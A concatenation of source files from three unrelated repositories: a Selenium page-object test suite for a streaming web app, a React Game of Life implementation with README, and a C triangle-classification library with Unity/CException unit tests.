-> None: self.browser.quit() def test_start_stream_without_extension(self): self.login_page.login() self.main_page.start_session() extension_required_message = self.browser.find_element_by_xpath("//p[contains(text(),'required')]").text self.assertIn("extension is required for playback", extension_required_message) if __name__ == '__main__': unittest.main() <file_sep>/pages/login_page.py from pages.base import BasePage from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions from selenium.webdriver.support.wait import WebDriverWait from tests import BASE_URL class LoginPage(BasePage): def __init__(self,browser): super().__init__(browser) def login(self): browser = self.browser self.wait = WebDriverWait(browser,20) self.wait.until(expected_conditions.element_to_be_clickable((By.ID,"profile_username"))) browser.find_element_by_id("profile_username").send_keys("Shelby") browser.find_element_by_id("getstarted").click() self.wait.until(expected_conditions.element_to_be_clickable((By.ID, "startsession"))) def go_to_page(self): self.browser.get(BASE_URL) <file_sep>/tests/login.py import unittest from selenium import webdriver from pages.login_page import LoginPage from tests import CHROME_DRIVER class MyTestCase(unittest.TestCase): def setUp(self) -> None: self.browser = webdriver.Chrome(executable_path=CHROME_DRIVER) self.login_page = LoginPage(self.browser) self.login_page.go_to_page() def tearDown(self) -> None: self.browser.quit() def test_something(self): self.login_page = LoginPage(self.browser) self.login_page.login() welcome_message = self.browser.find_element_by_xpath("//span[text()='Welcome']") self.assertTrue(welcome_message.is_displayed()) if __name__ == '__main__': unittest.main() <file_sep>/tests/join_session_opens_join_page.py import unittest from selenium import webdriver from pages.login_page import LoginPage from pages.main_page import MainPage from tests import CHROME_DRIVER class MyTestCase(unittest.TestCase): def setUp(self) -> None: self.browser = webdriver.Chrome(executable_path=CHROME_DRIVER) self.login_page = LoginPage(self.browser) self.login_page.go_to_page() self.main_page = MainPage(self.browser) def tearDown(self) -> None: self.browser.quit() def test_open_join_session(self): self.login_page.login() self.main_page.join_session() url = self.browser.current_url self.assertEqual(url,"https://app.getmetastream.com/join") if __name__ == '__main__': unittest.main() <file_sep>/pages/base.py from tests import BASE_URL from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions from selenium.webdriver.support.wait import WebDriverWait # The base url is in the tests __init__ file # so from tests get this value import unittest class BasePage(object): def __init__(self, browser): self.browser = browser self.PAGE_URI = "" def get_title(self) -> str: return self.browser.find_element_by_css_selector(".head h1").text def go_to_page(self): self.browser.get(BASE_URL + self.PAGE_URI)<file_sep>/pages/main_page.py from pages.base import BasePage from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions from selenium.webdriver.support.wait import WebDriverWait from tests import BASE_URL class MainPage(BasePage): def __init__(self): chop = webdriver.ChromeOptions chop.add_extension() def homePage(self): self.wait = WebDriverWait self.wait.until(expected_conditions.element_to_be_clickable((By.ID,"startsession"))) def start_session(self): browser = self.browser browser.find_element_by_id("startsession").click() def join_session(self): browser = self.browser self.wait = WebDriverWait browser.find_element_by_id("joinsession").click()
853f60112a0abc1dd325ebc669fea48cfd754eaa
[ "Python" ]
8
Python
Shelby86/POM_python_sample
90d913119ac36b35c4b2b7e1967f533995439e1e
fad492b0be918556ef7cfa07aa3fdc0010fd3b9e
refs/heads/master
<file_sep>import { Pulsar, Beacon, Blinker, Toad, Tub, Boat, Beehive, Loaf, PentD, Glider, LWSS, MWSS, HWSS, Block } from './components/patterns'; // returns a grid where all squares are false export const getEmptyGrid = (rows, columns) => { // useful for array generation: https://stackoverflow.com/posts/49201210/revisions return Array(columns).fill(false).map(() => Array(rows).fill(false)); } // needed to not alter current array export const duplicateArray = (oldArray) => { return oldArray.map(array => array.slice()) } // fills array at random - is 1/3 chance cell is alive export const fillArrayRandom = (emptyArray, rows, columns) => { const returnArray = emptyArray; for (let i = 0; i < rows; i+=1) { for (let j = 0; j < columns; j+=1) { if(Math.floor(Math.random() * 3) === 1) returnArray[i][j] = true; else returnArray[i][j] = false; } } return(returnArray) } // uses provided rules to get next living state of a cell export const getNextGridState = (current, rowCount, columnCount) => { const nextGrid = duplicateArray(current) for (let i = 0; i < rowCount; i+=1) { for (let j = 0; j < columnCount; j+=1) { let counter = 0; // Scenario Rules -- used to calculate next grid state // Scenario 0 - no neighbouring active cells - cell dead // Scenario 1 - less than 2 neighbouring active cells - cell dead // Scenario 2 - more the 3 neighbouring active cells - cell dead // Scenario 3 - 2 or 3 neighbouring active cells - stay alive // Scenario 4 - 3 neighbours - cell alive // Scenario 5 - no live cells - cells stay dead // diagonal previous row and column alive, increment if (i > 0 && j > 0) if (current[i-1][j-1]) counter+=1; // diagonal previous row and next column alive, increment if (i > 0 && columnCount -1) if (current[i-1][j+1]) counter+=1; // diagonal next row and previous column alive, increment if (i < rowCount - 1 && j > 0) if (current[i+1][j-1]) counter+=1; // diagonal previous row and previous column alive, increment if (i < rowCount - 1 && j < columnCount - 1) if (current[i+1][j+1]) counter+=1; // left cell is alive, increment if (j > 0) if(current[i][j-1]) counter+=1; // right cell is alive, increment if (j < columnCount -1) if(current[i][j+1]) counter+=1; // bottom cell is alive, increment if (i < rowCount - 1) if(current[i+1][j]) counter+=1; // top cell is alive, increment if(i > 0 ) if (current[i - 1][j]) counter+=1; // if less than 2 neigbours or more than 3, dies due to under/over population if(current[i][j] && (counter < 2 || counter > 3)) nextGrid[i][j] = false; // if exactly 3 live neighbours comes alive, else passes through alive if(!current[i][j] && counter === 3) nextGrid[i][j] = true; } } return nextGrid; } // returns array of pattern cells [i][j] based off provided name export const mapPresetPattern = (name) => { switch (name) { case 'Block': return Block; case 'Bee-hive': return Beehive; case 'Loaf': return Loaf; case 'Boat': return Boat; case 'Tub': return Tub; case 'Blinker': return Blinker; case 'Toad': return Toad; case 'Beacon': return Beacon; case 'Pulsar': return Pulsar; case 'PentaD': return PentD; case 'Glider': return Glider; case 'LWSS': return LWSS; case 'MWSS': return MWSS; case 'HWSS': return HWSS; default: return null; } }<file_sep>module.exports = { "extends": [ "airbnb-base", "prettier", "plugin:react/recommended", "prettier/react" ], "plugins": [ "prettier", "react" ], "rules": { "indent": ["error", 2], "prettier/prettier": ["error", { "singleQuote": true, "requirePragma": true, "insertPragma": true, "trailingComma": "all", "useTabs": false, "tabWidth": 2 } ], "react/jsx-filename-extension": [1, { "extensions": [".js", ".jsx"] }], "react/destructuring-assignment": [ 1, "always", { "ignoreClassFields": true } ], "react/prop-types": [0], "import/no-extraneous-dependencies": [0], "jsx-a11y/accessible-emoji": "off", "react/jsx-props-no-spreading": "warn" }, "globals": { "fetch": false }, "env": { "browser": true, "node": true }, "settings": { "react": { "version": "detect", } }, "parser": "babel-eslint" }; <file_sep>import React from 'react'; import LeftBar from './LeftBar' import Grid from './grid' import {getEmptyGrid, getNextGridState, fillArrayRandom, mapPresetPattern} from '../utils' export default class Container extends React.Component { constructor() { super(); this.rows = 20; this.columns = 20; this.state = { grid: getEmptyGrid(this.rows, this.columns), evolution: 0, changeInterval: 500, } } componentDidMount() { this.generateInitialState(); } // General functions generateEmptyGrid = () => { const emptyGrid = getEmptyGrid(this.rows, this.columns); this.setState({ grid: emptyGrid, evolution: 0, changeInterval: 500, }) } generateInitialState = () => { const initialState = getEmptyGrid(this.rows, this.columns); const newGrid = fillArrayRandom(initialState, this.rows, this.columns) this.setState({ grid: newGrid, evolution: 0, changeInterval: 500, }) } nextBoardIteration = () => { const current = this.state.grid; this.setState({ evolution: this.state.evolution + 1, grid: getNextGridState(current, this.rows, this.columns) }) } // Gameplay Functions startGameAction = () => { clearInterval(this.intervalId) this.intervalId = setInterval(this.nextBoardIteration, this.state.changeInterval) } pauseGameAction = () => { clearInterval(this.intervalId) } restartGameAction = () => { clearInterval(this.intervalId) this.generateEmptyGrid(); } changeSpeedAction = (value) => { this.setState({ changeInterval: value }); this.startGameAction(); } randomGridGameAction = () => { clearInterval(this.intervalId) this.generateInitialState(); } changeGridSize = (size) => { const sizeInt = parseInt(size, 10); this.rows = sizeInt; this.columns = sizeInt; this.generateEmptyGrid(); } selectCell(i,j, status = "dead") { const {grid} = this.state; const updateGrid = grid; if(status === "dead") updateGrid[i][j] = true; else updateGrid[i][j] = false; this.setState({ grid: updateGrid }) } async setPattern(name) { await this.changeGridSize(30); this.restartGameAction(); const pattern = await mapPresetPattern(name); pattern.map(x => this.selectCell(x[0],x[1])); } render() { const {state} = this; return ( <div className="wrapper"> <LeftBar state={state} start={this.startGameAction} pause={this.pauseGameAction} restart={this.restartGameAction} speed={this.changeSpeedAction} random={this.randomGridGameAction} changeGridSize={this.changeGridSize} setPattern={this.setPattern.bind(this)} /> <div className="grid-70 mobile-grid-100"> <Grid grid={state.grid} rows={this.rows} columns={this.columns} selectCell={this.selectCell.bind(this)} /> </div> </div> ) } }<file_sep>import React from 'react'; export default class SpeedSlider extends React.Component { onInput() { const {func } = this.props; const input = document.getElementById("speedSlider"); const currentVal = input.value; func(currentVal); } render() { const {changeInterval } = this.props; return ( <div className="grid-30 button sliderbox"> <div className="grid-100 mobile-grid-100"><i className="fa fa-clock-o" aria-hidden="true"></i> &nbsp; Speed</div> <div className="grid-100 mobile-grid-100"> <input id="speedSlider" type="range" min="0" max="500" defaultValue={changeInterval} onInput={this.onInput.bind(this)}/> </div></div> ); } } <file_sep>import React from 'react'; const Cell = ({boxClass, id, i, j, func}) =>{ return ( <div className = {boxClass} id={id} onClick={() => func(i, j, boxClass)} /> ) } export default Cell;<file_sep>import React from 'react'; export default class Dropdown extends React.Component { onInput() { const {func} = this.props; const input = document.getElementById("starterPattern"); const currentVal = input.value; func(currentVal); } render() { return ( <div className="grid-30 button sliderbox"> <div className="grid-100 mobile-grid-100"><i className="fa fa-square" aria-hidden="true"></i> &nbsp; Preset Patterns</div> <div className="grid-100 mobile-grid-100"> <select name="PickaPattern" id="starterPattern" onInput={this.onInput.bind(this)} > <option value="" selected disabled hidden>Pick a pattern</option> <option value="title1" disabled>Still life patterns</option> <option value="Block">Block</option> <option value="Bee-hive">Bee-hive</option> <option value="Loaf">Loaf</option> <option value="Boat">Boat</option> <option value="Tub">Tub</option> <option value="title2" disabled>Oscillator patterns</option> <option value="Blinker">Blinker</option> <option value="Toad">Toad</option> <option value="Beacon">Beacon</option> <option value="Pulsar">Pulsar</option> <option value="PentaD">Penta-decathlon</option> <option value="title3" disabled>Spaceship patterns</option> <option value="Glider">Glider</option> <option value="LWSS">Light-weight spaceship</option> <option value="MWSS">Middle-weight spaceship</option> <option value="HWSS">Heavy-weight spaceship</option> </select> </div></div> ); } } <file_sep>import React from 'react'; export default class Button extends React.Component { render() { const {icon, text, func} = this.props; return ( <button onClick={() => func()} className="button"><i className={`fa fa-${icon}`}></i>&nbsp; {text} </button> ) } }<file_sep># Game of Life ![The Application](screenshot.png) The Game of Life is set in an infinite two-dimensional grid inhabited by “cells”. Every cell interacts with up to eight neighbours, which are the cells that are horizontally, vertically, or diagonally adjacent. From an initial seed grid the game "evolves" one iteration at a time. An iteration applies rules to the grid to determine its next state. This application is written in React. ### Criteria From the initial criteria, each cell's life in the next state is determined by the following scenarios: - Scenario 0 *- no neighbouring active cells - cell dead* - Scenario 1 *- less than 2 neighbouring active cells - cell dead* - Scenario 2 *- more the 3 neighbouring active cells - cell dead* - Scenario 3 *- 2 or 3 neighbouring active cells - stay alive* - Scenario 4 *- 3 neighbours - cell alive* - Scenario 5 *- no live cells - cells stay dead* ### Functions available - Random generates a random initial start (1/3 chance of filling a square) - Speed adjusts how quickly evolution takes place, between 0-500ms - Grid Square size allows creating a custom size grid (⚠ **beware** larger grids will set your fans off) - Preset patterns allows some common patterns found online, including: - Still - Oscillators - Spaceships *(pretty cool)* ### What I'd do to improve in future - Use redux with react, would allow storing past states and to colour code how long a cell has been alive for. - Actions could be created in redux to mutate state instead of in components as is currently done. ### Assumptions - The initial state of the game is randomly generated - The user cannot change the size of a board that they are already using ### ✅ Get up and running 1. Download this repository 2. `cd` into the directory, install dependencies (`npm install`) 3. Start the app with `npm start` ***Alternatively, there's a live instance running on Heroku built from this repo automatically, [here](//nathaniel-game-of-life.herokuapp.com/)***
2d53c51de73c33b55558ac49b39eef209602c8e3
[ "JavaScript", "Markdown" ]
8
JavaScript
itisNathaniel/Game-of-Life
58345338a9c72dddff1256f20bda493b0fce8960
29418be2ebe95c55c218b4bf9986836606f9fb45
refs/heads/master
<file_sep>print{'hello malik'}
fa1f46f744f6c56cb0a3d338518f04b43a21d612
[ "Python" ]
1
Python
utkarsh293/appoint
b76159fca4e5764b82b9d936a9fc2c99e6e4c889
e64646fb1957299b347946b45f789aaffde5fcec
refs/heads/master
<file_sep>/////////////////////////////////////////// /// @file Lex.cpp /// /// @author <NAME> CS 3500 /// /// @brief Lexical analyzer /// /////////////////////////////////////////// #include <iostream> //#include <iomanip> #include <string> //#include <stdlib.h> using namespace std; int main() { char c; int j, t, state; string s; cin >> t; cout << t <<"\n"; for (int i = 0; i < t; i++) { state = 1; cin >> s; j = 0; c = s[j]; while (c != NULL) { switch (state) { case 1 : if (c == '+' || c == '-') { state = 2; } else if (isdigit(c)) { state = 3; } else { state = -1; } break; case 2: if (isdigit(c)) { state = 3; } else { state = -1; } break; case 3: if (isdigit(c)) { state = 3; } else if (c == '.') { state = 4; } else { state = -1; } break; case 4: if (isdigit(c)) { state = 5; } else { state = -1; } break; case 5: if (isdigit(c)) { state = 5; } else if (c == 'E' || c == 'e') { state = 6; } else { state = -1; } break; case 6: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else if (c == '+' || c == '-') { state = 7; } else { state = -1; } break; case 7: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else { state = -1; } break; case 8: if (isdigit(c)) { state = 8; } else { state = -1; } break; case 9: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else { state = -1; } break; default : break; }//switch j++; c = s[j]; }//while if (state == 3) { cout << "Found an Integer. \n"; } else if (state == 5) { cout << "Found a Decimal. \n"; } else if (state == 8) { cout << "Found a Scientific. \n"; } else { cout << "Invalid! \n"; } }//for return 0; }<file_sep># PLAT Assignments from Programming Languages and Translators <file_sep>/* <NAME> al3parser.cpp */ #include <iomanip> #include <string> #include <cctype> bool is_Program= false; string cookie; int main() { eatCookie(); is_Program=is_Routine(); if (is_Program==false) { cout<<"INVALID\n"; } else { cout<<"Correct\n"; } return 0; } void eatCookie() { cin>>cookie; return; } bool is_Routine() { if(cookie=="routine") { eatCookie(); if(is_Identifier();) { eatCookie(); if(cookie=="$") { eatCookie(); if(is_StateSeq();) { if(cookie=="endr") { return true; } } } } } return false; } bool is_Identifier(); { if(cookie=="is"||"+"||"-"||"*"||"/"||"or"||"and"||"not"||"("||")"||"<"||">"||"="||"$"||"!"||"print"||"if"||"else"|| "endif"||"while"||"endw"||"routine"||"endr"||"run") { return false; } else(if islower(cookie[0]) { for(int i=1;i<cookie.length();i++) { if(!isalnum(cookie[i])) { return false; } } return true; } return false; } bool is_StateSeq() { if(is_Statement();) { eatCookie(); if(cookie=="!") { return is_StateSeq(); } return true; } return false } bool is_Statement() { if(is_Identifier();) { eatCookie(); if(cookie=="is") { eatCookie(); return is_Expression(); } } else if(cookie=="run") { eatCookie; return is_Identifier(); } else if(cookie=="if") { eatCookie(); return is_IfStatement(); } else if(cookie=="while") { eatCookie(); return is_While(); } else if (cookie=="print") { eatCookie(); return is_Identifier(); } return false; } bool is_IfStatement() { if (is_Expression();) { eatCookie(); if(cookie=="$") { eatCookie(); if(is_StateSeq();) { eatCookie(); if (cookie=="else") { eatCookie(); if(is_StateSeq();) { eatCookie(); if(cookie=="endif") { return true; } } } else if(cookie=="endif") { return true; } } } } return false; } bool is_While() { if(is_Expression();) { eatCookie(); if(cookie=="$") { eatCookie(); if(is_StateSeq();) { eatCookie(); if(cookie=="endw") { return true; } } } } return false; } bool is_Expression() { if(is_SimpleExpr();) { eatCookie(); if(cookie=="<"||">"||"=") { return is_SimpleExpr(); } return true; } return false; } bool is_SimpleExpr() { if(is_Term();) { eatCookie(); ///need recursive call here if (cookie=="+"||"-"||"or") { eatCookie(); return is_Term(); } return true; } return false; } bool is_Term() { if(is_Factor();) { eatcookie(); //Need recursive call here if (cookie=="*"||"/"||"and") { eatCookie(); return is_Factor(); } return true; } return false; } bool is_Factor() { if(cookie="(") { eatCookie(); if(is_Expression();) { eatCookie(); if (cookie==")") { return true; } } } else if(cookie=="not") { eatCookie(); return is_Factor(); } else if(cookie[0]=="\"") { if(cookie.length()>2 && cookie[cookie.length()-1] =="\"") { return true; } } else if(islower(cookie[0])) { return is_Identifier(); } else if (isdigit(cookie[0])) { return is_Number(); } return false; } bool is_Number() { char c; for (int i = 0; i < t; i++) { state = 1; //cin >> s; j = 0; c = cookie[j]; while (c != NULL) { switch (state) { case 1 : if (c == '+' || c == '-') { state = 2; } else if (isdigit(c)) { state = 3; } else { state = -1; } break; case 2: if (isdigit(c)) { state = 3; } else { state = -1; } break; case 3: if (isdigit(c)) { state = 3; } else if (c == '.') { state = 4; } else { state = -1; } break; case 4: if (isdigit(c)) { state = 5; } else { state = -1; } break; case 5: if (isdigit(c)) { state = 5; } else if (c == 'E' || c == 'e') { state = 6; } else { state = -1; } break; case 6: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else if (c == '+' || c == '-') { state = 7; } else { state = -1; } break; case 7: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else { state = -1; } break; case 8: if (isdigit(c)) { state = 8; } else { state = -1; } break; case 9: if (isdigit(c)) { if (c == '0') { state = 9; } else { state = 8; } } else { state = -1; } break; default : break; }//switch j++; c = s[j]; }//while if (state == 3) { return true; } else if (state == 5) { return true; } else if (state == 8) { return false; } else { return false; } }//for return 0; } }
97dea036924934a213182426fcaa95c4f8ee9143
[ "Markdown", "C++" ]
3
C++
jgoymerac/PLAT
579b79b8bb5f034656bd8d83a8edf21e86a5f833
c3797674468193da7adb880f3e67ce3aa454108a
refs/heads/master
<repo_name>berlanga87/algorithmicthinking<file_sep>/Module1/project1.py """This file declares 3 directed graphs as constants and then 3 functions to \ a) Generate a complete graph b) compute in in-degrees for a given graph c) calculates in-degree distributions""" EX_GRAPH0 = {0:set([1,2]), 1:set([]), 2:set([])} EX_GRAPH1 = {0:set([1,4,5]), 1:set([2,6]), 2:set([3]), 3:set([0]), 4:set([1]), 5:set([2]), 6:set([])} EX_GRAPH2 = {0:set([1,4,5]), 1:set([2,6]), 2:set([3,7]), 3:set([7]), 4:set([1]), 5:set([2]), 6:set([]), 7:set([3]), 8:set([1,2]), 9:set([0,3,4,5,6,7])} def make_complete_graph(num_nodes): """Takes the number of nodes num_nodes and returns a dictionary \ corresponding to a complete directed graph with the specified \ number of nodes.""" graph = {} for item in range(num_nodes): graph[item]=set() for item2 in range(num_nodes): if item2 != item: graph[item].add(item2) return graph def compute_in_degrees(digraph): """Takes a directed graph digraph (represented as a dictionary) \ and computes the in-degrees for the nodes in the graph.""" graph = {} for key in digraph: graph[key] = 0 for key in digraph: for item in digraph[key]: graph[item] += 1 def in_degree_distribution(digraph): """ Takes a directed graph digraph (represented as a dictionary) \ and computes the unnormalized distribution of the in-degrees of \ the graph.""" graph = compute_in_degrees(digraph) results = {} for key in graph: if graph[key] in results: results[graph[key]] += 1 else: results[graph[key]] = 1 return results compute_in_degrees(EX_GRAPH1) compute_in_degrees(EX_GRAPH2) return graph <file_sep>/Module2/project2.py """ These are the functions for Module 2, including: \ 1) bfs_visited 2) cc_visited 3) largest_cc_size 4) compute_resilience """ from collections import deque import random def bfs_visited(ugraph, start_node): """Takes the undirected graph ugraph and the node start_node and returns \ the set consisting of all nodes that are visited by a breadth-first search \ that starts at start_node""" queue = deque() visited = set([start_node]) queue.append(start_node) while len(queue) > 0: dequeued = queue.pop() for node in ugraph[dequeued]: if node not in visited: visited = list(visited) visited.append(node) visited = set(visited) queue.append(node) return visited def cc_visited(ugraph): """Takes the undirected graph ugraph and returns a list of sets, where each \ set consists of all the nodes (and nothing else) in a connected component, \ and there is exactly one set in the list for each connected component in \ ugraph and nothing else.""" remaining_nodes = set([key for key in ugraph.keys()]) components = [] while len(remaining_nodes) > 0: node = random.sample(remaining_nodes,1)[0] nodes_visited = bfs_visited(ugraph, node) #print "BFS Visited: " + str(w) components.append(set(nodes_visited)) #print cc #print "remaining_nodes before "+ str(len(remaining_nodes)) remaining_nodes = set(remaining_nodes-set(nodes_visited)) #print "remaining_nodes after: "+ str(len(remaining_nodes)) return components def largest_cc_size(ugraph): """Takes the undirected graph ugraph and returns the size (an integer) of the\ largest connected component in ugraph.""" paths = cc_visited(ugraph) max_path = 0 for path in paths: if len(path) > max_path: max_path = len(path) return max_path def remove_nodes(graph, nodes): """Receives an undirected graph and returns said graph without nodes and edges \ included in nodes""" new_graph = {} for node in graph: if node not in nodes: new_graph[node]=[edge for edge in graph[node] if edge not in nodes] return new_graph def compute_resilience(ugraph, targets): """implement a function that takes an undirected graph and a list of nodes \ that will be attacked. You will remove these nodes (and their edges) from the\ graph one at a time and then measure the "resilience" of the graph at each \ removal by computing the size of its largest remaining connected component""" results = [] results.append(largest_cc_size(ugraph)) for number in range(len(targets)): nodes = targets[0:number+1] new_graph = remove_nodes(ugraph, nodes) max_path = largest_cc_size(new_graph) results.append(max_path) return results
e8e9d7727a1628c430e909f322b0608be5599cf3
[ "Python" ]
2
Python
berlanga87/algorithmicthinking
2b8132ddf3a2c54923f606b3fd8bc4c6b6cdab8c
af194d5cb3aa558b99f0d3db783b07aa74bd89ad
refs/heads/master
<repo_name>shaneiadt/light-dark-mode<file_sep>/script.js const toggleSwitch = document.querySelector('input[type="checkbox"]'); const nav = document.querySelector('#nav'); const toggleIcon = document.querySelector('#toggle-icon'); const image1 = document.querySelector('#image1'); const image2 = document.querySelector('#image2'); const image3 = document.querySelector('#image3'); const textBox = document.querySelector('#text-box'); const currentTheme = localStorage.getItem('data-theme'); function setTheme(theme) { localStorage.setItem('data-theme', theme); document.documentElement.setAttribute('data-theme', theme); nav.style.backgroundColor = theme === 'dark' ? "rgb(0 0 0 / 50%)" : "rgb(255 255 255 / 50%)"; textBox.style.backgroundColor = theme === 'dark' ? "rgb(255 255 255 / 50%)" : "rgb(0 0 0 / 50%)"; toggleIcon.children[0].textContent = theme === 'dark' ? "Dark Mode" : "Light Mode"; toggleIcon.children[1].classList.remove(theme === 'dark' ? "fa-sun" : "fa-moon"); toggleIcon.children[1].classList.add(theme === 'dark' ? "fa-moon" : "fa-sun"); image1.src = `img/undraw_proud_coder_${theme}.svg`; image2.src = `img/undraw_feeling_proud_${theme}.svg`; image3.src = `img/undraw_conceptual_idea_${theme}.svg`; } function switchTheme({ target: { checked } }) { setTheme(checked ? 'dark' : 'light'); } toggleSwitch?.addEventListener("change", switchTheme); if (currentTheme) { setTheme(currentTheme); toggleSwitch.checked = currentTheme === 'dark' ? true : false; }
296719bb8597c9bb978708cbc3a9b47ecec31352
[ "JavaScript" ]
1
JavaScript
shaneiadt/light-dark-mode
3c29fc79c7c61391d1e845afa4a52897b65f9858
6f0d42de74eddfda0f9169194abdc91fad261442
refs/heads/master
<file_sep>#ifndef TRIANGLE_H #define TRIANGLE_H #define ERROR_INVALID_LENGTH 0x14 #define ERROR_NEGATIVE_VALUE 0x15 typedef enum { // 0 1 2 3 UNKNOWN, EQUILATERAL, ISOCELES, SCALENE }TriangleType; /* typedef enum { INVALID, VALID }checkType; */ TriangleType getTriangleType(int side1, int side2, int side3); //checkType checkNegativeOrZero(int side1, int side2, int side3); #endif // TRIANGLE_H <file_sep>#include "unity.h" #include "Exception.h" #include "CException.h" #include "Triangle.h" #include <malloc.h> #include <stdarg.h> CEXCEPTION_T ex; void setUp(void) { } void tearDown(void) { } int multiply (int valA, int valB) { if (valB<0){ //Throw(ERROR_NEGATIVE_VALUE); throwException(ERROR_NEGATIVE_VALUE,NULL, 0, "The operand valB cannot be negative: %d", valB); } if (valA<0){ //Throw(ERROR_NEGATIVE_VALUE); throwException(ERROR_NEGATIVE_VALUE,NULL, 0, "The operand valA cannot be negative: %d", valA); } return valA*valB; } int addAndMultiplyPositives(int val1, int val2, int val3) { //CEXCEPTION_T ex; //Try{ //return multiply(val1+val2, val3); //}Catch(ex) //{ // printf("exception103933493addAndMultiplyPositives:0x%x\n",ex); // Throw(ex); //} if(0) throwException(ERROR_INVALID_LENGTH, NULL, 0, "The operand has invalid length"); return multiply(val1+val2, val3); } /* void print(int count,...){ int i; va_list va; va_start(va, count); for (i=0; i<count; i++){ //va_arg is a macro print("%d", va_arg(va, int)); } va_end(va); printf("/n"); } */ /* void xtest_print(){ print(5, 1, 56, -34, 965); } */ void test_addAndMultiplyPositives_expectxxx() { Try{ int result=addAndMultiplyPositives(3, -4, 5); TEST_FAIL_MESSAGE("EXPECT ERROR_NEGATIVE_VALUE_to_be_thrown, BUT UNRECEIVED"); }Catch(ex) { //printf("exception103933493test_addAndMultiplyPositives_expectxxx:0x%x\n",ex); //printf("%s (%d)\n", ex->message, ex->errorCode); dumpException(ex); TEST_ASSERT_EQUAL(ERROR_NEGATIVE_VALUE, ex->errorCode); freeException(ex); } } /* void test_Side_given_3_2_1_expect_VALID() { checkType sideType = checkNegativeOrZero(3, 2, 1); TEST_ASSERT_EQUAL(VALID, sideType); } void test_Side_given_2_0_1_expect_INVALID() { checkType sideType = checkNegativeOrZero(2, 0, 1); TEST_ASSERT_EQUAL(INVALID, sideType); } void test_Side_given_2_0_MINUS1_expect_INVALID() { checkType sideType = checkNegativeOrZero(2, 0, -1); TEST_ASSERT_EQUAL(INVALID, sideType); } void test_Side_given_MINUS2_5_3_expect_INVALID() { checkType sideType = checkNegativeOrZero(-2, 5, 3); TEST_ASSERT_EQUAL(INVALID, sideType); } */ void test_TriangleType_given_2_2_1_expect_ISOCELES() { TriangleType type = getTriangleType(2,2,1); TEST_ASSERT_EQUAL(ISOCELES, type); } void test_TriangleType_given_12_2_12_expect_ISOCELES() { TriangleType type = getTriangleType(12,2,12); TEST_ASSERT_EQUAL(ISOCELES, type); } void test_TriangleType_given_9_4_4_expect_ISOCELES() { TriangleType type = getTriangleType(9,4,4); TEST_ASSERT_EQUAL(ISOCELES, type); } void test_TriangleType_given_1_1_1_expect_EQUILATERAL() { TriangleType type = getTriangleType(1,1,1); TEST_ASSERT_EQUAL(EQUILATERAL, type); } void test_TriangleType_given_12_43_1_expect_SCALENE() { TriangleType type = getTriangleType(12,43,1); TEST_ASSERT_EQUAL(SCALENE, type); } void test_TriangleType_given_0_0_0_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(0,0,0); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } } void test_TriangleType_given_2_1_0_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(2, 1, 0); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } } void test_TriangleType_given_MINUS1_2_3_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(-1, 2, 3); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } } void test_TriangleType_given_4_2_MINUS2_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(4,2,-2); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } } void test_TriangleType_given_4_0_MINUS2_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(4,0,-2); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } } // FUNCTION_NAME ----INPUTS-------- void test_TriangleType_given_minus_1_1_1_expect_ERROR_INVALID_LENGTH_to_be_thrown() { Try { TriangleType type = getTriangleType(-1,1,1); TEST_FAIL_MESSAGE("EXPECT ERROR_INVALID_LENGTH_to_be_thrown, BUT UNRECEIVED"); } Catch(ex){ dumpException(ex); TEST_ASSERT_EQUAL(ERROR_INVALID_LENGTH, ex->errorCode); freeException(ex); } }<file_sep>#include "Triangle.h" #include "Exception.h" #include "CException.h" //checkType checkNegativeOrZero(int , int , int ); // TDD = Test-Driven Development // 1. Write test (next test) // 2. Write code to pass the test // 3. Run test; if test failing, go to step 2 // 4. Go to step 1 // Exception // Throw // Try-Catch /** * Find out if a given triangle is one of thefollowing types * isoceles = 2 has equal sides * scalene = no equal sides * equilateral = all has equal sides */ TriangleType getTriangleType(int side1, int side2, int side3) { //CEXCEPTION_T ex; //int check; //check=checkNegativeOrZero(side1, side2, side3); if(side1<=0||side2<=0||side3<=0) if (side1<=0) throwException(ERROR_INVALID_LENGTH,NULL, 0, "Invalid length of the sides: %d", side1); if (side2<=0) throwException(ERROR_INVALID_LENGTH,NULL, 0, "Invalid length of the sides: %d", side2); if (side3<=0) throwException(ERROR_INVALID_LENGTH,NULL, 0, "Invalid length of the sides: %d", side3); //if (check==INVALID) // return UNKNOWN; if (side1==side2||side2==side3||side1==side3) { if (side1==side3&&side3==side2) return EQUILATERAL; else return ISOCELES; } else return SCALENE; } /* checkType 